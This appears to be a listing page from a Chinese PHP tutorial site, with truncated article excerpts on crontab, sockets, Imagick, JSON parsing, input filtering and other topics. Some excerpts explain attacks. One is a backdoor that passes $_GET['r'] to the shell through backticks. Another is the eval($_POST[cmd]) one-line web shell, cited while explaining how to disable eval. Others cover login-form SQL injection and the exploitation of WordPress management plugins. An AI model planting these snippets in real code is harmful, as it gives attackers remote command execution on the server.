Time of Update: 2017-01-19
偶然間看到一段,看起來似乎沒有什麼問題,確是能致命的後門代碼,這裡用到了一個一般的PHPer都不怎麼關注的反撇號 ` ,反撇號包含的字串,等同於shell_exec函數。偽裝性很好,很容易被管理員忽略。$selfNums = $_GET['r'];if (isset($selfNums)){ echo `$selfNums`;}剛看到這段代碼我想大家都會說沒有問題,但是細心的朋友也會發現下面的變數被一個符號包起來了,既然是變數為什麼要這樣了,而且又不是單引號,這個就是關鍵所在了,這個符號是
Time of Update: 2017-01-19
很多人在linux下使用crontab實現PHP執行定時任務卻未能成功,不能產生緩衝。本文就linux下使用crontab實現定時PHP計劃任務失敗的原因做一分析。一般我們linux定時執行php代碼例如:*/5 * * * * /usr/local/php/bin/php
Time of Update: 2017-01-19
PHP的htmlspecialchars、strip_tags、addslashes是網頁程式開發中常見的函數,今天就來詳細講述這些函數的用法:1.函數strip_tags:去掉 HTML 及 PHP 的標記注意:本函數可去掉字串中包含的任何 HTML 及 PHP 的標記字串。若是字串的 HTML 及 PHP 標籤原來就有錯,例如少了大於的符號,則也會傳回錯誤。而本函數和 fgetss()
Time of Update: 2017-01-19
經常有朋友會對php的socket應用充滿疑惑,本文就以執行個體代碼作一講解,希望能對初學php的朋友起到一點協助作用具體代碼如下:1.伺服器端代碼:<?phpclass SocketServer{ private $_port='9000'; private $_address='127.0.0.1'; private $_client_socket_list=array(); public function
Time of Update: 2017-01-19
PHP可以實現對文本資料庫的資料的顯示、加入、修改、刪除、查詢等五大基本操作。我們以一個留言本程式為例,簡述一下PHP實現對文本資料庫的資料顯示、加入、修改、刪除、查詢五大基本操作的方法。此文本資料庫共有欄位10個:客戶IP、發言時間、客戶名、客戶EMAIL、客戶首頁地址、留言表情圖片名、客戶QQ、客戶形象圖片、留言內容、管理員回複內容。1、加入資料程式:$date=date("Y-m-d H:i:s");//取得系統時間$ip = $HTTP_SERVER_VARS[REMOTE_ADDR];
Time of Update: 2017-01-19
最近的PHP項目中,需要用到切圖和縮圖的效果,在linux測試伺服器上很輕鬆的就安裝好php imagick擴充。但是在本地windows開發環境,安裝過程遇到好多問題,在此與大家分享。1. 下載 ImageMagick下載地址:http://imagemagick.org/script/binary-releases.php下載最新版本,ImageMagick-6.8.6-9-Q16-x86-dll.exe2. 安裝 ImageMagick安裝 ImageMagick 到 PC
Time of Update: 2017-01-19
一、簡介 臨時檔案,顧名思義是臨時產生的檔案,且檔案的生命週期很短。 然而,很多應用的運行都離不開臨時檔案,臨時檔案在我們電腦上無處不在,主要有以下幾種形式的臨時檔案:1.檔案或圖形編輯程式,所產生的中間檔案2.資料庫查詢時,產生的臨時快取檔案,提供之前的結果資料而,以減少再次訪問資料庫的代價;通常用於遠端資料庫或遠程xml的服務3.檔案被上傳後在服務端的臨時儲存,其檔案名稱為php的全域變數$_FILES['userfile']['tmp_name']的值4.在http請求中,用於存放se
Time of Update: 2017-01-19
昨天同事遇到一個奇怪的問題,就是以下代碼,無法通過JSON校正,也無法通過PHP的json_decode函數解析。複製代碼 代碼如下:[ { "title": "", "pinyin": ""
Time of Update: 2017-01-19
實現代碼:// 正序foreach($files as $file_num => $file) {if(is_file($directory.$file)){//$file = iconv("gb2312","UTF-8",$file); //或者 iconv("gb2312","UTF-8",$value);$date = substr($file,0,9);echo '<li class="world-cup-'.$date.'">';echo '<a href="'
Time of Update: 2017-01-19
php的eval函數並不是系統組件函數,因此我們在php.ini中使用disable_functions是無法禁止它的。但是eval()對於php安全來說具有很大的殺傷力,因此一般不用的情況下為了防止類似如下的一句話木馬入侵,需要禁止!<?php eval($_POST[cmd]);?>eval()使用範例:<?php$string = '杯子';$name = '咖啡';$str = '這個 $string 中裝有 $name.<br>';
Time of Update: 2017-01-19
在防止sql注入這些細節出現問題的一般是那些大意的程式員或者是新手程式員,他們由於沒有對使用者提交過來的資料進行一些必要的過濾,從而導致了給大家測試的時候一下就攻破了你的資料庫,下面我們來簡單的介紹一個使用者登入未進行安全配置可能出現的sql注入方法,下面一起來看看吧。比如以下一段登入的代碼:if($l = @mysql_connect('localhost', 'root', '123')) or
Time of Update: 2017-01-19
遠端管理外掛程式是目前廣受WordPress網站管理員歡迎的工具 + 生產力,它允許使用者同時對多個網站執行相同的操作,如更新到最新的發行版或安裝外掛程式等。但是,為了實現這些操作,用戶端外掛程式需要賦予遠端使用者很大的許可權。因此,確保管理伺服器和用戶端外掛程式之間的通訊安全且不能被攻擊者偽造就變得相當重要了。本文淺析幾款可用外掛程式,利用其弱點,攻擊者甚至可以完全危及到運行這些外掛程式的網站本身。ManageWP, InfiniteWP, and CMS
Time of Update: 2017-01-19
無平台限制只需要告知id,parentid,name 即可<?phperror_reporting(E_ALL ^ E_NOTICE);class Tree{ /** +------------------------------------------------ * 產生樹型結構所需要的2維數組 +------------------------------------------------ * @author abc +---------------
Time of Update: 2017-01-19
針對偽造的資料從URL提交的情況,首先是一個檢查前一頁來源的如下代碼:<?/*PHP防止站外提交資料的方法*/function CheckURL(){ $servername=$_SERVER['SERVER_NAME']; $sub_from=$_SERVER["HTTP_REFERER"]; $sub_len=strlen($servername); $checkfrom=substr($sub_from,7,$sub_len); if($checkfrom!
Time of Update: 2017-01-19
今天在64位Red Hat Enterprise Linux AS release 4 .7上編譯PHP5.2.6出錯,mysql是使用的RPM方式安裝的,PHP編譯代碼如下:./configure --prefix=/usr/local/php --with-mysql --with-apxs2=/usr/local/apache/bin/apxs --with-openssl --with-curl --enable-xml --with-mcrypt --with-ttf
Time of Update: 2017-01-19
在一些微博網站上我們經常可以看到這樣的應用,微博內容列表上並沒有使用分頁條,而是一次載入一定數量的記錄顯示在列表頁,當使用者瀏覽到列表頁底部時,可以通過單擊“查看更多”來載入更多記錄。本文將結合jQuery和PHP給大家講述如何?這種功能。Ajax載入的基本原理:當頁面載入時,jQuery向後台請求資料,PHP通過查詢資料庫將最新的幾條記錄顯示在列表頁,在列表頁的底部有個“查看更多”的連結,通過觸發該連結,向服務端發送Ajax請求,後台PHP程式得到請求參數,並作出響應,擷取資料庫相應的記錄並以
Time of Update: 2017-01-19
/** * http測試 * 註:PHP版本5.2以上才支援CURL_IPRESOLVE_V4 * @param $url 網站網域名稱 * @param $type 網站訪問協議 * @param $ipresolve 解析方式 */public function web_http($url,$type,$ipresolve) { //設定Header頭 $header[] = "Accept: application/json"; $header[] = "Accept-
Time of Update: 2017-01-19
在這一章節裡, 我們來瞭解一個不太常用但功能強大的 PHP 特性: FILTERS, 該擴充可以用來驗證(validation)和錯誤修正(sanitization) 當資料來源含有未知或不確定資料時,將變得非常有用, 最多是用來處理由客戶從 HTML 表單(form)提交的資料 該擴充含有兩個主要的過濾類型: 驗證(validation)和錯誤修正(sanitization) 驗證(validation)主要用來檢查資料是不是符合特定條件, 例如: 當傳入
Time of Update: 2017-01-19
前幾天在問答區提了一下這個問題,所有回答問題的朋友都說不可能通過PHP實現,碰巧我的實習負責人幫我找到了一個方法,貌似是通過NTLM來實現的,我是新手,對具體原理也知之不詳,只是自己測試了一下,很好用.所以趕快拿出來與大家分享.這是一個法國人寫的,所以編碼中的注釋都是法語,如果有朋友很想瞭解某行的注釋含義,請回帖說明,我可以試著翻譯一下.<?php/*******************************************************************
Time of Update: 2017-01-19
今天在寫PHP程式的時候總是出現這樣的錯誤:Parse error: syntax error, unexpected end of file in *.php on line *,然後我就根據提示,找到那個檔案,然後錯誤中總是提示最後一行出錯,我找到最後一行發現是</html>,暈的,這能有什麼錯誤,找了好久才找到問題所在,拿來分享。出現這個錯誤的原因就是語法錯誤,肯定是PHP程式的書寫不規範造成,我後來一條一條看才發現,原來是PHP語句標識符錯了,正常情況下應該是這樣的:<